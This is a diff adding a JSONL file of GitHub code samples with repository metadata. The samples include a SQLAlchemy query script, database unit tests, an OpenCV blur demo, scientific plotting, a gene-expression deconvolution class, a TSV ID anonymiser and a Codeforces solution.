diff --git "a/1734.jsonl" "b/1734.jsonl"
new file mode 100644--- /dev/null
+++ "b/1734.jsonl"
@@ -0,0 +1,2331 @@
+{"seq_id":"34962031123","text":"#!/usr/bin/python3\n\"\"\"\nlists the first State objects from the given database\n\"\"\"\n\nfrom sys import argv\nfrom model_state import Base, State\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nif __name__ == '__main__':\n db_url = \"mysql+mysqldb://{}:{}@localhost:3306/{}\".format(\n argv[1], argv[2], argv[3])\n engine = create_engine(db_url)\n Session = sessionmaker(bind=engine)\n session = Session()\n first_row = session.query(State).order_by(State.id).first()\n if first_row is None:\n print(\"Nothing\")\n else:\n print(\"{}: {}\".format(first_row.id, first_row.name))\n","repo_name":"daniell-olaitan/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/8-model_state_fetch_first.py","file_name":"8-model_state_fetch_first.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"71213269955","text":"import mock\nimport pytest\nfrom src.db_manager import dbManager\nimport psycopg2\n\n\n\n@mock.patch('src.db_manager.psycopg2.connect')\n@mock.patch('src.db_manager.time')\n@mock.patch('src.db_manager.db_config')\ndef test_db_retry(mock_config, mock_time, mock_psycopg2):\n mock_time.sleep.return_value = None\n mock_psycopg2.side_effect = psycopg2.DatabaseError()\n mock_config.return_value = {'test':'test'}\n with pytest.raises(psycopg2.DatabaseError):\n dbManager().db_connect_retry()\n\n assert mock_psycopg2.call_count == 3\n\n\n@mock.patch('src.db_manager.psycopg2')\n@mock.patch('src.db_manager.db_config')\ndef test_db_retry_connection_successful(mock_config, mock_psycopg2):\n mock_psycopg2.sleep.return_value = None\n mock_config.return_value = {'test': 'test'}\n conn = dbManager().db_connect_retry()\n assert conn is not None\n\n@mock.patch('src.db_manager.dbManager.db_connect_retry')\ndef test_db_connect(mock_retry):\n mock_retry.side_effect = psycopg2.DatabaseError()\n with pytest.raises(psycopg2.DatabaseError):\n dbManager().connect_to_db()\n\n@mock.patch('src.db_manager.dbManager.db_connect_retry')\ndef test_create_table(mocked_conn):\n _mock = mock.Mock()\n mocked_conn().cursor.return_value = _mock\n _mock.execute.return_value = None\n dbManager().create_table()\n\n\n\n mocked_conn.assert_called()\n _mock.execute.assert_called_once()\n _mock.execute.assert_called_with(\"\"\"CREATE TABLE REPORT (TX_ID SERIAL PRIMARY KEY,\n ID_TYPE VARCHAR(255) NOT NULL,\n ID_VALUE VARCHAR(255) NOT NULL,\n NAME VARCHAR(255) NOT NULL,\n LASTNAME VARCHAR(255) NOT NULL)\"\"\")\n mocked_conn().commit.assert_called_once()\n _mock.close.assert_called_once()\n\n@mock.patch('src.db_manager.dbManager.db_connect_retry')\n@mock.patch('src.db_manager.random')\n@mock.patch('src.db_manager.logger')\ndef test_insert_row(mock_log, mock_random, mocked_conn):\n _mock = mock.Mock()\n mocked_conn().cursor.return_value = _mock\n _mock.execute.return_value = None\n data = {'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd'}\n mock_random.randint.return_value = 7\n dbManager().insert_db_record(data)\n mocked_conn.assert_called()\n _mock.execute.assert_called_once()\n _mock.execute.assert_called_with(\"\"\"INSERT INTO REPORT (TX_ID, ID_TYPE, ID_VALUE, NAME, LASTNAME) VALUES (%s,%s,%s,%s,%s)\"\"\", [7, 'a', 'b', 'c', 'd'])\n\n _mock.execute.side_effect = Exception()\n dbManager().insert_db_record(data)\n mock_log.error.assert_called()\n\n \"\"\"\n test_\n \"\"\"\n\n\n\n","repo_name":"jasrajabov/bdd-test-framework","sub_path":"tests/unittests/test_db.py","file_name":"test_db.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3459363179","text":"'''\r\nThis code is to see the effect of various types of blur in a image. This is based on the OpenCV tutorial.\r\nAuthor: Sabhari Natarajan\r\n\r\nThe kernel size can be varied using the trackbar.\r\nThe results are shown in one single image in the order\r\n 'ORIGINAL' '2D CONVOLUTION' 'AVERAGING'\r\n 'GAUSSIAN BLUR' 'MEDIAN BLUR' 'ORIGINAL'\r\n'''\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\ndef nothing(x):\r\n pass\r\n\r\nimg = cv2.imread('Test_Lena.png')\r\ncv2.namedWindow('BLUR',1)\r\ncv2.createTrackbar('Kernel','BLUR',2,20,nothing)\r\ncv2.resizeWindow('BLUR',1080,720)\r\nk = 0\r\n\r\nwhile(k!=27):\r\n x = cv2.getTrackbarPos('Kernel','BLUR')\r\n if x<2: x=2\r\n kernel = np.ones((x,x),np.float32)/(x**2)\r\n Convolution_2D = cv2.filter2D(img,-1,kernel)\r\n Averaging = cv2.blur(img,(x,x))\r\n if x%2 == 0: x = x - 1\r\n Gauss_Blur = cv2.GaussianBlur(img,(x,x),0)\r\n if x < 3: x=3\r\n Median = cv2.medianBlur(img,x)\r\n\r\n res_a = np.concatenate((img,Convolution_2D,Averaging),axis = 1)\r\n res_b = np.concatenate((Gauss_Blur,Median,img),axis = 1)\r\n res = np.concatenate((res_a,res_b),axis = 0)\r\n scale = min(1080.0/res.shape[0],720.0/res.shape[1])\r\n res = cv2.resize(res,None,fx=scale, fy=scale, interpolation = cv2.INTER_CUBIC)\r\n cv2.imshow('BLUR',res)\r\n \r\n k = cv2.waitKey(1) & 0xFF\r\n\r\ncv2.startWindowThread()\r\ncv2.destroyAllWindows()\r\n","repo_name":"nsabhari/OpenCV_Python","sub_path":"Basic/Basic_Blur.py","file_name":"Basic_Blur.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"25052310466","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport seaborn as sns\nfrom scipy import stats\nfrom scipy.interpolate import interp2d\n\n\n# loads data\nasu = pd.read_csv('./data/asu_house.csv')\n#simulation = pd.read_csv('./data/asu_house.csv')\n\ndfs = []\nfor file in ('pp','pp_uniform','no_pp',):\n df = pd.read_csv('./data/simulation/sweep_'+file+'.csv',header=4)\n df['Simulation'] = np.repeat(file.replace('_',' ').title(),len(df))\n dfs.append(df)\n\ndf = pd.concat(dfs)\ndf.rename(\n columns={\n '% Ae': 'AirExchangeRate',\n 'p_in': 'IndoorOutdoorPressure',\n 'Attenuation to groundwater, Global Evaluation: Attenuation to groundwater {gev2}': 'AttenuationGroundwater',\n 'Global Evaluation: Relative air entry rate {gev3}': 'RelativeAirEntryRate',\n 'Average crack Peclet number, Global Evaluation: Crack Peclet number {gev4}': 'Peclet',\n 'TCE in indoor air, Global Evaluation: TCE in indoor air {gev5}': 'IndoorConcentration',\n 'Global Evaluation: TCE emission rate {gev6}': 'EntryRate',\n 'Attenuation to subbase, Global Evaluation: Attenuation to subslab {gev9}': 'AttenuationSubslab',\n 'Global Evaluation: Average TCE in subslab {gev10}': 'SubslabConcentration',\n },\n inplace=True,\n)\n\n\n# data choosing\ndf['AirExchangeRate'] *= 3600 # convert from 1/s to 1/hr\ndf['logIndoorConcentration'] = df['IndoorConcentration'].apply(np.log10)\ndf['logAttenuationSubslab'] = df['AttenuationSubslab'].apply(np.log10)\ndf['logAttenuationGroundwater'] = df['AttenuationGroundwater'].apply(np.log10)\n\n#fig, ax = plt.subplots()\n\n\nclass ConstantAe:\n def __init__(self):\n\n g = sns.lmplot(\n data=asu.loc[asu['Phase']!='CPM'][['IndoorOutdoorPressure','logAttenuationAvgGroundwater','Phase']],\n x='IndoorOutdoorPressure',\n y='logAttenuationAvgGroundwater',\n hue='Phase',\n x_bins=np.linspace(-5,5,40),\n fit_reg=False,\n legend_out=False,\n legend=False,\n aspect=1.5,\n )\n\n ax = g.axes[0][0]\n sns.lineplot(\n data=df.loc[(df['AirExchangeRate'] >= 0.4) & (df['AirExchangeRate'] <= 0.6)][['IndoorOutdoorPressure','logAttenuationGroundwater','Simulation']],\n x='IndoorOutdoorPressure',\n y='logAttenuationGroundwater',\n hue='Simulation',\n hue_order=['Pp', 'No Pp', 'Pp Uniform',],\n ax=ax,\n #legend=False,\n )\n\n\n handles, labels = ax.get_legend_handles_labels()\n handles = handles[1:]\n\n labels = (\n 'PP present',\n 'PP absent',\n 'PP present, \\ngravel sub-base\\nabsent',\n 'Data, PP open',\n 'Data, PP closed',\n )\n\n ax.legend(\n handles,\n labels,\n #ncol=2,\n loc='best',\n )\n\n ax.set_xlim([-6,6])\n ax.set_ylim([-7,-3.7])\n\n ax.set_xlabel('$\\\\Delta p_\\\\mathrm{in/out}$ (Pa)')\n ax.set_ylabel('$\\\\log{(\\\\alpha_\\\\mathrm{gw})}$')\n my_ytick_labels = [\"%1.0e\" % y_tick for y_tick in 10.0**ax.get_yticks()]\n ax.set_yticklabels(my_ytick_labels)\n ax.set_title('Modeling PP scenarios, assuming constant $A_e$,\\nand comparing to \\\"ASU house\\\" field data')\n\n\n plt.tight_layout()\n\n plt.savefig('./figures/simulation_predictions/land_drain_scenarios_constant_ae.png',dpi=300)\n plt.savefig('./figures/simulation_predictions/land_drain_scenarios_constant_ae.pdf',dpi=300)\n\n plt.show()\n return\n\n\nclass FluctuatingAe:\n def __init__(self):\n ae_describe = asu.loc[asu['Phase']!='CPM']['AirExchangeRate'].describe(percentiles=[0.05, 0.95])\n print(ae_describe)\n data = asu.loc[\n ((asu['IndoorOutdoorPressure']>=-5) & (asu['IndoorOutdoorPressure']<=5)) &\n (asu['Phase']!='CPM')\n #(\n # (asu['logAttenuationAvgGroundwater']>=quantiles[0]) &\n # (asu['logAttenuationAvgGroundwater']<=quantiles[1])\n #)\n ]\n\n\n sim = df.loc[\n (\n (df['AirExchangeRate'] >= ae_describe['min']) &\n (df['AirExchangeRate'] <= ae_describe['max'])\n )\n ]\n g = sns.lmplot(\n data=data,\n x='IndoorOutdoorPressure',\n y='logAttenuationAvgGroundwater',\n hue='Phase',\n x_bins=np.linspace(-5,5,40),\n #x_bins=20,\n fit_reg=False,\n legend_out=False,\n legend=False,\n aspect=1.5,\n )\n\n ax = g.axes[0][0]\n ax = sns.lineplot(\n data=sim,\n x='IndoorOutdoorPressure',\n y='logAttenuationGroundwater',\n hue='Simulation',\n hue_order=['Pp', 'No Pp'],\n ax=ax,\n #legend=False,\n )\n \"\"\"\n ax = sns.lineplot(\n data=sim,\n x='IndoorOutdoorPressure',\n y='logAttenuationGroundwater',\n hue='Simulation',\n hue_order=['Pp Uniform',],\n ax=ax,\n ci=None,\n #legend=False,\n )\n \"\"\"\n\n\n handles, labels = ax.get_legend_handles_labels()\n handles = handles[1:]\n\n labels = (\n 'PP present',\n 'PP absent',\n #'PP present, gravel sub-base absent',\n 'Data, PP open',\n 'Data, PP closed',\n )\n\n ax.legend(\n handles,\n labels,\n #ncol=2,\n loc='best',\n )\n\n ax.set_xlim([-6,6])\n ax.set_ylim([-7,-3.7])\n\n ax.set_xlabel('$\\\\Delta p_\\\\mathrm{in/out}$ (Pa)')\n ax.set_ylabel('$\\\\log{(\\\\alpha_\\\\mathrm{gw})}$')\n my_ytick_labels = [\"%1.0e\" % y_tick for y_tick in 10.0**ax.get_yticks()]\n ax.set_yticklabels(my_ytick_labels)\n ax.set_title('Modeling PP scenarios, with minimum and maximum $A_e$\\nvalues, and comparing to \\\"ASU house\\\" field data')\n\n\n plt.tight_layout()\n\n plt.savefig('./figures/simulation_predictions/land_drain_scenarios_fluctuating_ae.png',dpi=300)\n plt.savefig('./figures/simulation_predictions/land_drain_scenarios_fluctuating_ae.pdf',dpi=300)\n\n plt.show()\n return\nConstantAe()\nFluctuatingAe()\n","repo_name":"jstr0em/temporal-variability-vapor-intrusion","sub_path":"code/land_drain_scenarios.py","file_name":"land_drain_scenarios.py","file_ext":"py","file_size_in_byte":6351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"72535330433","text":"'''\nDescription: \nVersion: \nAuthor: Leidi\nDate: 2021-07-09 10:19:01\nLastEditors: Leidi\nLastEditTime: 2021-12-21 16:15:03\n'''\n# -*- coding: utf-8 -*-\nimport argparse\nimport os\nfrom tqdm import tqdm\n\nfrom utils.utils import *\nfrom utils.key_modify import *\n\n\ndef source_label_change_key(input_path, output_path, name_pre, input_label_style):\n \"\"\"更换源标签文件中图片文件名的key的值\"\"\"\n\n output_path_src_lab = check_output_path(output_path, 'source_label')\n change_count = 0\n for root, dirs, files in os.walk(input_path):\n for fileName in tqdm(files): # 遍历文件夹中所有文件\n if os.path.splitext(str(fileName))[-1] == check_src_lab_type(input_label_style): # 判断label格式\n count_temp = pickup_move_function(input_label_style, \n output_path_src_lab, root, fileName, name_pre) # 对应不同类别进行更名\n change_count += count_temp\n print(\"Total name change: %d save to %s.\" % (change_count, output_path_src_lab))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(prog='cleaning_2_keys.py')\n parser.add_argument('--set', default=r'/home/leidi/Dataset/hy_highway_myxb_sjt_coco2017_7_classes_input_20210805',\n type=str, help='dataset path')\n parser.add_argument('--out', default=r'/home/leidi/Dataset/hy_highway_myxb_sjt_coco2017_7_classes_output_20210805',\n type=str, help='output path')\n parser.add_argument('--pref', default=r'',\n type=str, help='rename prefix')\n parser.add_argument('--segment', '--sg', dest='segment', default='_',\n type=str, help='name split')\n parser.add_argument('--ilstyle', '--is', dest='ilstyle', default=r'ldp',\n type=str, help='input labels style: ldp, hy, myxb, nuscenes, \\\n pascal, hy_highway, coco2017, \\\n kitti, cctsdb, lisa, \\\n hanhe, yolov5_detect, yolo, \\\n sjt, ccpd')\n opt = parser.parse_args()\n\n input_path = check_input_path(opt.set)\n output_path = check_output_path(opt.out)\n input_label_style = opt.ilstyle\n segment = opt.segment\n name_pre = check_pref(opt.pref, segment)\n\n print('\\nStart source label change:')\n source_label_change_key(input_path, output_path, name_pre, input_label_style)\n print('\\nChange each label done!\\n')\n","repo_name":"leidi1989/2D_Dataset_clean","sub_path":"Tool/Dataset_cleaning/cleaning_2_keys.py","file_name":"cleaning_2_keys.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"24748464337","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 25 16:16:03 2022\n\n@author: docker\n\"\"\"\nimport gc\nimport copy\nimport random\nimport itertools\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport sys\nfrom pathlib import Path\nBASE_DIR = Path(__file__).parent\n\nfrom gldadec import glda_deconv\n\nclass Deconvolution():\n def __init__(self,verbose=True):\n self.verbose = verbose\n self.marker_final_dic = None\n self.anchor_dic = None\n \n def set_marker(self,marker_final_dic,anchor_dic):\n self.marker_final_dic = marker_final_dic\n self.anchor_dic = anchor_dic\n \n def marker_redefine(self,ignore_empty=True):\n # reflect information of anchor_dic\n anchor_genes = list(itertools.chain.from_iterable(list(self.anchor_dic.values())))\n k_list = []\n v_list = []\n a_list = []\n for i,k in enumerate(self.marker_final_dic):\n if ignore_empty:\n if len(self.anchor_dic.get(k)) > 0:\n tmp_v = self.marker_final_dic.get(k)\n other = sorted(list(set(tmp_v) - set(anchor_genes)))\n new_v = sorted(other + self.anchor_dic.get(k))\n v_list.append(new_v)\n k_list.append(k)\n a_list.append(self.anchor_dic.get(k))\n else:\n # anchors were not detected\n pass\n else:\n tmp_v = self.marker_final_dic.get(k)\n other = sorted(list(set(tmp_v) - set(anchor_genes)))\n new_v = sorted(other + self.anchor_dic.get(k))\n v_list.append(new_v)\n k_list.append(k)\n a_list.append(self.anchor_dic.get(k))\n self.marker_dec_dic = dict(zip(k_list,v_list))\n self.anchor_dec_dic = dict(zip(k_list,a_list))\n \n def set_random(self,random_sets:list):\n \"\"\"\n Random states list\n ----------\n random_sets : list\n e.g. [1448, 1632, 5913, 7927, 8614,...]\n \"\"\"\n self.random_sets = random_sets\n \n def set_expression(self,df):\n \"\"\"\n Set gene expression data.\n It is better to keep as many genes as possible.\n ----------\n df : DataFrame\n Genes in rows and samples in columns.\n \"\"\"\n df.index = [t.upper() for t in df.index.tolist()] # re-index\n self.raw_df = df\n if self.verbose:\n a,b = self.raw_df.shape\n print(a,'genes')\n print(b,'samples')\n \n def expression_processing(self,random_n=0,random_genes=None):\n raw_df = copy.deepcopy(self.raw_df)\n genes = list(itertools.chain.from_iterable(list(self.marker_final_dic.values()))) # marker genes\n if random_genes is None:\n random_s = self.random_sets[0]\n random.seed(random_s)\n random_candidates = sorted(list(set(raw_df.index.tolist()) - set(genes))) # total genes - marker genes\n random_genes = random.sample(random_candidates,random_n) # choose genes from non-marker genes\n else:\n pass\n if self.verbose:\n print(len(random_genes),'genes were added at random')\n \n union = sorted(list(set(random_genes) | set(genes)))\n # FIXME: gene order might affect the estimation results\n common = sorted(list(set(raw_df.index.tolist()) & set(union)))\n final_df = raw_df.loc[common]\n self.final_int_dec = final_df.astype(int) # convert int\n self.input_mat_dec = np.array(self.final_int_dec.T,dtype='int64')\n\n # seed-topic preparation\n self.gene_names = [t.upper() for t in self.final_int_dec.index.tolist()]\n self.gene2id = dict((v, idx) for idx, v in enumerate(self.gene_names))\n \n def set_final_int(self,final_int):\n \"\"\"\n You can skip the 'set_expression()' >> 'expresison_processing()'\n ----------\n final_int : pd.DataFrame\n PBMCs, 17-002 PBMCs, 17-006 ... PBMCs, 17-060 PBMCs, 17-061\n S100A6 7 7 ... 7 7\n AGTR1 4 4 ... 4 4\n C10ORF99 4 4 ... 4 4\n ... ... ... ... ...\n SLC6A14 4 4 ... 4 4\n EPHX2 4 6 ... 4 5\n FOS 12 11 ... 11 11\n\n \"\"\"\n self.final_int_dec = final_int\n self.input_mat_dec = np.array(self.final_int_dec.T,dtype='int64')\n # seed-topic preparation\n self.gene_names = [t.upper() for t in self.final_int_dec.index.tolist()]\n self.gene2id = dict((v, idx) for idx, v in enumerate(self.gene_names))\n \n def seed_processing(self):\n \"\"\"\n Prepare seed information for use as a guide.\n \n input_mat : np.array\n samples are in rows and genes (markers) are in columns.\n array([[7, 4, 5, ..., 4, 9, 4],\n [7, 4, 5, ..., 5, 8, 4],\n [6, 4, 4, ..., 4, 9, 5],\n ...,\n [7, 4, 4, ..., 4, 8, 4],\n [7, 4, 5, ..., 4, 9, 4],\n [8, 4, 4, ..., 4, 9, 4]])\n seed_topics : dict\n seed_topics: dict\n e.g.{0: [4,3],\n 1: [4],\n 2: [1],\n 3: [1,3,5],\n 4: [1],\n 5: [7]}\n seed_k : list\n [1,3,5,7,9,11,13]\n marker_final_dic : dcit\n {'B cells memory': ['AIM2', 'CR2', 'JCHAIN'],\n 'B cells naive': ['BCL7A', 'CD24', 'FCER2', 'IL4R', 'PAX5', 'TCL1A'],\n 'Monocytes': ['ALOX5AP','C5AR1','CCR2','CD14','CD163','CD274',...]}\n\n \"\"\"\n if self.marker_dec_dic is None:\n raise ValueError('!! Final Marker Candidates were not defined !! --> run expression_processing()')\n # seed_topic preparation\n genes = list(itertools.chain.from_iterable(list(self.marker_dec_dic.values())))\n target = list(self.marker_dec_dic.keys())\n seed_topic_list = [self.marker_dec_dic.get(t) for t in target]\n seed_topics = {}\n finish_genes = []\n for t_id, st in enumerate(seed_topic_list):\n for gene in st:\n try:\n if gene in finish_genes:\n tmp = seed_topics[self.gene2id[gene]]\n seed_topics[self.gene2id[gene]] = tmp + [t_id]\n else:\n seed_topics[self.gene2id[gene]] = [t_id]\n finish_genes.append(gene)\n except:\n # not included in target expression table\n print(gene)\n pass\n \n # reliable gene\n genes = list(itertools.chain.from_iterable(list(self.anchor_dec_dic.values())))\n seed_k = []\n for g in genes:\n if self.gene2id.get(g) is None:\n #print(g)\n pass\n else:\n seed_k.append(self.gene2id.get(g))\n\n self.seed_topics = seed_topics\n # remove overlap\n seed_k = sorted(list(set(seed_k)))\n self.seed_k = seed_k\n \n if self.verbose:\n print(\"final genes:\",len(self.final_int_dec))\n print('seed number:',len(self.seed_topics))\n print(\"seed_k:\",len(self.seed_k))\n \n def conduct_deconv(self,add_topic=0,n_iter=200,alpha=0.01,eta=0.01,random_state=123,refresh=10):\n \"\"\"\n Parameters\n ----------\n add_topic : int\n The number of additional cells to be assumed in addition to the cells with markers. The default is 0.\n n_iter : int\n The number of iterations. The default is 200.\n alpha : float\n Parameter of LDA. The default is 0.01.\n eta : float\n Parameter of LDA. The default is 0.01.\n random_state : int\n The default is 123.\n refresh : TYPE, optional\n Interval for obtaining log-likelihood. The default is 10.\n\n \"\"\"\n target = list(self.marker_dec_dic.keys())\n input_mat = self.input_mat_dec\n seed_topics = self.seed_topics\n seed_k = self.seed_k\n \n # model setting\n model = glda_deconv.GLDADeconvMS(\n n_topics=len(target)+add_topic,\n n_iter=n_iter, \n alpha=alpha,\n eta=eta, \n random_state=random_state,\n refresh=refresh\n )\n \n model.fit(input_mat,seed_topics=seed_topics,initial_conf=1.0,seed_conf=0.0,other_conf=0.0,fix_seed_k=True,seed_k=seed_k) # free to move\n # plot log-likelihood\n ll = model.loglikelihoods_\n x = [i*refresh for i in range(len(ll))]\n plt.plot(x,ll)\n plt.xlabel('iterations')\n plt.ylabel('log-likelihood')\n plt.show()\n \n # confirm the correlation\n target_res = model.doc_topic_\n res = pd.DataFrame(target_res)\n res.index = self.final_int_dec.columns.tolist()\n if len(res.T) > len(target):\n target = target+[i+1 for i in range(add_topic)]\n res.columns = target\n else:\n res.columns = target\n \n self.deconv_res = res\n\n del model\n gc.collect()\n \n def ensemble_deconv(self,add_topic=0,n_iter=200,alpha=0.01,eta=0.01,refresh=10,initial_conf=1.0,seed_conf=1.0,other_conf=0.0,fix_seed_k=True,verbose=False):\n target = list(self.marker_dec_dic.keys())\n input_mat = self.input_mat_dec\n seed_topics = self.seed_topics\n seed_k = self.seed_k\n # ensemble\n total_res = []\n total_res2 = []\n gene_contribution = []\n ll_list = []\n for idx,rs in enumerate(self.random_sets):\n add_topic=add_topic\n # model setting\n model = glda_deconv.GLDADeconvMS(\n n_topics=len(target)+add_topic,\n n_iter=n_iter, \n alpha=alpha,\n eta=eta, \n random_state=rs,\n refresh=refresh,\n verbose=verbose\n )\n model.fit(input_mat,seed_topics=seed_topics,\n initial_conf=initial_conf,seed_conf=seed_conf,other_conf=other_conf,fix_seed_k=fix_seed_k,seed_k=seed_k)\n # plot log-likelihood\n ll = model.loglikelihoods_\n ll_list.append(ll)\n \n # deconv res\n target_res = model.doc_topic_\n res = pd.DataFrame(target_res)\n res.index = self.final_int_dec.columns.tolist()\n\n gc_df = pd.DataFrame(model.word_topic_,index=self.final_int_dec.index.tolist()) # (gene, topic)\n init_df = pd.DataFrame(model.initial_freq,columns=self.final_int_dec.index.tolist()) # (topic, gene)\n \n if len(res.T) > len(target):\n new_target = target+[i+1 for i in range(add_topic)]\n else:\n new_target = target\n\n res.columns = new_target\n gc_df.columns = new_target\n init_df.index = new_target\n\n #norm_res = pc.standardz_sample(res) # sample-wide\n total_res.append(res)\n total_res2.append(init_df)\n gene_contribution.append(gc_df)\n if self.verbose:\n print(idx+1,end=\" \")\n \n del model\n gc.collect()\n \n self.total_res = total_res\n self.total_res2 = total_res2\n self.ll_list = ll_list\n self.gene_contribution = gene_contribution\n\n \ndef main():\n in_path = '/mnt/AzumaDeconv/github/GLDADec/Dev/test_data/'\n raw_df = pd.read_csv('/mnt/AzumaDeconv/github/GLDADec/data/GSE65133/GSE65133_expression.csv',index_col=0)\n random_sets = pd.read_pickle('/mnt/AzumaDeconv/github/GLDADec/data/random_info/10_random_sets.pkl')\n marker_final_dic = pd.read_pickle(in_path+'marker_final_dic.pkl')\n anchor_dic = pd.read_pickle('/mnt/AzumaDeconv/Topic_Deconv/GuidedLDA/221027_GSE65133/221101_CellMarker/221229_threshold_impact/results/anchor_list/anchor_dic_rel10_v1.pkl')\n \n Dec = Deconvolution()\n Dec.set_marker(marker_final_dic=marker_final_dic,anchor_dic=marker_final_dic)\n Dec.marker_redefine()\n Dec.set_expression(df=raw_df)\n Dec.set_random(random_sets=random_sets)\n Dec.expression_processing(random_n=0)\n Dec.seed_processing()\n #Dec.conduct_deconv(add_topic=0,n_iter=200,alpha=0.01,eta=0.01,random_state=123,refresh=10)\n Dec.ensemble_deconv(add_topic=0,n_iter=200,alpha=0.01,eta=0.01,refresh=10)\n \n marker_dec_dic = Dec.marker_dec_dic\n anchor_dec_dic = Dec.anchor_dec_dic\n \n total_res = Dec.total_res\n out_path = '/mnt/AzumaDeconv/Topic_Deconv/GuidedLDA/221027_GSE65133/221101_CellMarker/221229_threshold_impact/results/'\n pd.to_pickle(total_res,out_path+'total_res_original.pkl')\n \nif __name__ == '__main__':\n main()","repo_name":"mizuno-group/GLDADec","sub_path":"run/dev3_deconvolution.py","file_name":"dev3_deconvolution.py","file_ext":"py","file_size_in_byte":13310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"40227633491","text":"import argparse\nimport sys\nimport uuid\n\ndescription = \"\"\"\ntsvanon.py - Anonymize ids in tsv files\n\nmethods:\n- rows: anonymize first column of all rows (except the first row)\n- cols: anonymize all columns of first row (except the first column)\n- both: anonymize both of the above\n- keep: anonymize both columns and rows, keep matching pairs\n\nWith the keep method, any id in the rows that is identical with an id in the columns\n(or vice versa) will be replaced with identical values in both row and column.\n\"\"\"\n\ndef generate_random_id():\n return uuid.uuid4().hex[:8].upper()\n\ndef anonymize_header_line(outfile, headers):\n outfile.write(headers[0])\n anonymized_ids = list()\n for a in range(0, len(headers) - 1):\n anonymized_id = generate_random_id()\n anonymized_ids.append(anonymized_id)\n outfile.write('\\t')\n outfile.write(anonymized_id)\n outfile.write('\\n')\n def id_generator (input_list):\n for element in input_list:\n yield element\n return id_generator(anonymized_ids)\n\ndef anonymize_data_line(outfile, line, id=None):\n if id:\n outfile.write(id)\n else:\n outfile.write(generate_random_id())\n outfile.write(line[line.index('\\t'):])\n\nparser = argparse.ArgumentParser(\n prog = 'tsvanon',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description = description)\nparser.add_argument('-m', '--method', required=True, choices=['rows', 'cols', 'both', 'keep'])\nparser.add_argument('-i', '--infile', required=True, help='Filename or path for input file')\nparser.add_argument('-o', '--outfile', required=True, help='Filename or path for output file')\nargs = parser.parse_args()\n\nif args.infile == args.outfile:\n sys.exit(\"Input and output cannot be the same file.\")\n\nwith open(args.infile, 'r') as infile, open(args.outfile, 'w') as outfile:\n if args.method == 'rows':\n outfile.write(next(infile))\n for line in infile:\n anonymize_data_line(outfile, line)\n elif args.method == 'cols':\n headers = next(infile).split('\\t')\n anonymize_header_line(outfile, headers)\n for line in infile:\n outfile.write(line)\n elif args.method == 'both':\n headers = next(infile).split('\\t')\n anonymize_header_line(outfile, headers)\n for line in infile:\n anonymize_data_line(outfile, line)\n elif args.method == 'keep':\n headers = next(infile).split('\\t')\n anonymized_ids = anonymize_header_line(outfile, headers)\n for line in infile:\n anonymize_data_line(outfile, line, id=next(anonymized_ids))","repo_name":"ssi-dk/tsvanon","sub_path":"tsvanon.py","file_name":"tsvanon.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31826408476","text":"\"\"\"\nProblem Statement : https://codeforces.com/contest/1527/problem/A\n\nA. And Then There Were K\n\ntime limit per test : 1 second\nmemory limit per test : 256 megabytes\ninputstandard input\noutputstandard output\nGiven an integer n, find the maximum value of integer k such that the following \ncondition holds:\n\nn & (n−1) & (n−2) & (n−3) & ... (k) = 0\nwhere & denotes the bitwise AND operation.\nInput\nThe first line contains a single integer t (1≤t≤3⋅104). Then t test cases follow.\n\nThe first line of each test case contains a single integer n (1≤n≤109).\n\nOutput\nFor each test case, output a single integer — the required integer k.\n\nExample\ninputCopy\n3\n2\n5\n17\noutputCopy\n1\n3\n15\nNote\nIn the first testcase, the maximum value for which the continuous & operation \ngives 0 value, is 1.\n\nIn the second testcase, the maximum value for which the continuous & operation gives \n0 value, is 3. No value greater then 3, say for example 4, will give the & sum 0.\n\n5&4≠0,\n5&4&3=0.\nHence, 3 is the answer.\n\n\"\"\"\n\n# My Trails Passed for Public Test cases only\n\n\ndef solve():\n n = I(input())\n temp = n\n and_product = I('111111111111', 2)\n count = 0\n while and_product != 0:\n and_product = and_product & n\n n = n-1\n count += 1\n return temp-(count-1)\n\n\n# As you can see the pattern of solution its output is 2**msb -1\ndef solve2():\n n = I(input())\n binary = bin(n)[2:]\n msb = len(binary) - 1\n return 2**msb - 1\n\n\nif __name__ == '__main__':\n R = range\n I = int\n def listInput(): return [I(x) for x in input().strip().split(\" \")]\n mod = 10000007\n inf = float('inf')\n for t in R(I(input())):\n print(solve2())\n","repo_name":"UdayKiranPadhy/DS-And-Algo","sub_path":"Algorithms And Techniques/Bit Manupulation/26-And Then There were K.py","file_name":"26-And Then There were K.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
